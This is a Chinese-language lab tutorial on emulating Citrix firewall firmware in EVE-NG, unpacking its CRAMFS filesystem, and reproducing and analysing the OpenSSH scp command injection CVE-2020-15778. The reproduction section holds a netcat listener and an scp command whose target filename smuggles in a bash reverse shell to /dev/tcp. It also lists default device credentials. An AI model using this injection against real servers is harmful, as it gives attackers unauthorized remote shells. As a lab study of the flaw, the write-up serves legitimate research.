citrix防火墙固件仿真,ssh服务分析与漏洞复现
字数 1431 2025-08-06 18:07:54

Citrix防火墙固件仿真与SSH服务漏洞分析复现

0x01 环境搭建

EVE-NG环境配置

  1. 安装EVE-NG虚拟机环境

    • 默认凭据:admin/eve,root/eve
    • 官网可查看支持的防火墙镜像
  2. 镜像准备

    • 将Citrix防火墙固件(.qcow2)放入EVE指定目录
    • 路径要求:/opt/unetlab/addons/qemu/
    • 命名规则必须符合官方要求(参考nsvpx-10.5.54.9009示例)
  3. 权限修正

    /opt/unetlab/wrappers/unl_wrapper -a fixpermissions
    
  4. 网络配置

    • 新建lab并添加节点
    • 配置网口、CPU、内存等参数
    • 设备状态变蓝表示启动成功

网络问题解决

  1. 初始问题:防火墙IP(192.168.100.1)与EVE系统IP(192.168.203.82)不通
  2. 解决方案:
    • 添加cloud1网络
    • 在VMware中为EVE系统添加网口连接到VMnet1
    • 配置VMnet1 IP与防火墙同网段
    • 防火墙默认凭据:nsroot/nsroot

0x02 固件解包

固件获取与初步分析

  1. 从官网下载固件压缩包
  2. 解压后主要关注.bin文件
  3. 使用010Editor比对不同.bin文件差异

解包工具与方法

  1. 初始使用binwalk递归解包

    binwalk -eMe firmware.bin
    
  2. 手动解包CRAMFS文件系统

    • 安装工具:
      sudo dpkg -i cramfsprogs_1.1-6ubuntu1_amd64.deb
      
    • 解包命令:
      cramfsck -x dirname filename
      
    • 打包命令:
      mkcramfs dirname outfile
      
  3. 文件提取技巧

    • 通过运行环境提取文件:
      python -m SimpleHTTPServer 8000
      

0x03 SSH服务与OpenSSH漏洞复现

SSH服务分析

  1. 服务组成:

    • 传输层协议:提供服务器认证、保密性、完整性
    • 用户认证协议:认证客户端用户
    • 连接协议:多路加密隧道
  2. 服务验证:

    • 默认开启SSH服务
    • 登录后可进入shell
    • 查看OpenSSH版本

CVE-2020-15778漏洞复现

  1. 漏洞信息:

    • CVE编号:CVE-2020-15778
    • 影响版本:<= openssh-8.3p1
    • 漏洞描述:SCP命令注入漏洞
  2. 利用条件:

    • 知道目标SSH密码
    • 允许使用SCP(即使SSH登录被禁用)
    • 远程服务器允许使用反引号(`)
  3. 利用步骤:

    • 攻击机设置监听:
      nc -lvp 9999
      
    • 执行SCP命令注入:
      scp 1.tgz nsroot@192.168.100.1:'bash -c "bash -i >& /dev/tcp/192.168.100.6/9999 0>&1"'
      

0x04 OpenSSH(SCP)漏洞点分析

SCP工作原理

  1. 传输模式:

    • 本地<->远程
    • 远程<->远程(通过本地中转)
    • 远程<->远程(直接)
  2. 进程交互:

    • 客户端SCP进程通过SSH子进程与服务器通信
    • 服务器端SSHD进程创建SCP子进程处理请求
    • 通过管道和标准输入输出重定向实现数据交换

漏洞成因分析

  1. 关键代码流程:

    • main()处理参数
    • toremote()/tolocal()根据传输方向选择处理方式
    • do_cmd()创建SSH子进程并建立通信管道
  2. 注入点:

    • 文件名参数拼接后直接传入bash执行
    • 反引号和$()在bash中的命令执行特性
    • 服务器端SCP进程对文件名参数处理不当

动态调试方法

  1. 调试挑战:

    • SCP进程是临时创建的
    • 需要attach到SSHD子进程
  2. 调试步骤:

    • 查找SSHD进程:
      ps aux | grep sshd
      
    • 附加调试器:
      gdb attach <pid>
      
    • 观察SCP请求处理流程

总结

本教学文档详细介绍了从Citrix防火墙固件仿真环境搭建到SSH服务漏洞复现的全过程,重点包括:

  1. EVE-NG虚拟环境的特殊配置要求
  2. CRAMFS文件系统的专业解包方法
  3. OpenSSH SCP漏洞的精准复现步骤
  4. 命令注入漏洞的底层机制分析
  5. 动态调试SSH相关进程的技巧

关键注意事项:

  • 镜像命名和路径必须严格符合EVE-NG要求
  • 网络配置是环境搭建的最大难点
  • CRAMFS解包需要专用工具
  • 漏洞利用需要特定网络条件
  • 动态调试需要捕捉临时进程
Citrix防火墙固件仿真与SSH服务漏洞分析复现 0x01 环境搭建 EVE-NG环境配置 安装EVE-NG虚拟机环境 默认凭据:admin/eve,root/eve 官网可查看支持的防火墙镜像 镜像准备 将Citrix防火墙固件(.qcow2)放入EVE指定目录 路径要求: /opt/unetlab/addons/qemu/ 命名规则必须符合官方要求(参考nsvpx-10.5.54.9009示例) 权限修正 网络配置 新建lab并添加节点 配置网口、CPU、内存等参数 设备状态变蓝表示启动成功 网络问题解决 初始问题:防火墙IP(192.168.100.1)与EVE系统IP(192.168.203.82)不通 解决方案: 添加cloud1网络 在VMware中为EVE系统添加网口连接到VMnet1 配置VMnet1 IP与防火墙同网段 防火墙默认凭据:nsroot/nsroot 0x02 固件解包 固件获取与初步分析 从官网下载固件压缩包 解压后主要关注.bin文件 使用010Editor比对不同.bin文件差异 解包工具与方法 初始使用binwalk递归解包 手动解包CRAMFS文件系统 安装工具: 解包命令: 打包命令: 文件提取技巧 通过运行环境提取文件: 0x03 SSH服务与OpenSSH漏洞复现 SSH服务分析 服务组成: 传输层协议:提供服务器认证、保密性、完整性 用户认证协议:认证客户端用户 连接协议:多路加密隧道 服务验证: 默认开启SSH服务 登录后可进入shell 查看OpenSSH版本 CVE-2020-15778漏洞复现 漏洞信息: CVE编号:CVE-2020-15778 影响版本: <= openssh-8.3p1 漏洞描述:SCP命令注入漏洞 利用条件: 知道目标SSH密码 允许使用SCP(即使SSH登录被禁用) 远程服务器允许使用反引号( ` ) 利用步骤: 攻击机设置监听: 执行SCP命令注入: 0x04 OpenSSH(SCP)漏洞点分析 SCP工作原理 传输模式: 本地 <->远程 远程 <->远程(通过本地中转) 远程 <->远程(直接) 进程交互: 客户端SCP进程通过SSH子进程与服务器通信 服务器端SSHD进程创建SCP子进程处理请求 通过管道和标准输入输出重定向实现数据交换 漏洞成因分析 关键代码流程: main()处理参数 toremote()/tolocal()根据传输方向选择处理方式 do_ cmd()创建SSH子进程并建立通信管道 注入点: 文件名参数拼接后直接传入bash执行 反引号和$()在bash中的命令执行特性 服务器端SCP进程对文件名参数处理不当 动态调试方法 调试挑战: SCP进程是临时创建的 需要attach到SSHD子进程 调试步骤: 查找SSHD进程: 附加调试器: 观察SCP请求处理流程 总结 本教学文档详细介绍了从Citrix防火墙固件仿真环境搭建到SSH服务漏洞复现的全过程,重点包括: EVE-NG虚拟环境的特殊配置要求 CRAMFS文件系统的专业解包方法 OpenSSH SCP漏洞的精准复现步骤 命令注入漏洞的底层机制分析 动态调试SSH相关进程的技巧 关键注意事项: 镜像命名和路径必须严格符合EVE-NG要求 网络配置是环境搭建的最大难点 CRAMFS解包需要专用工具 漏洞利用需要特定网络条件 动态调试需要捕捉临时进程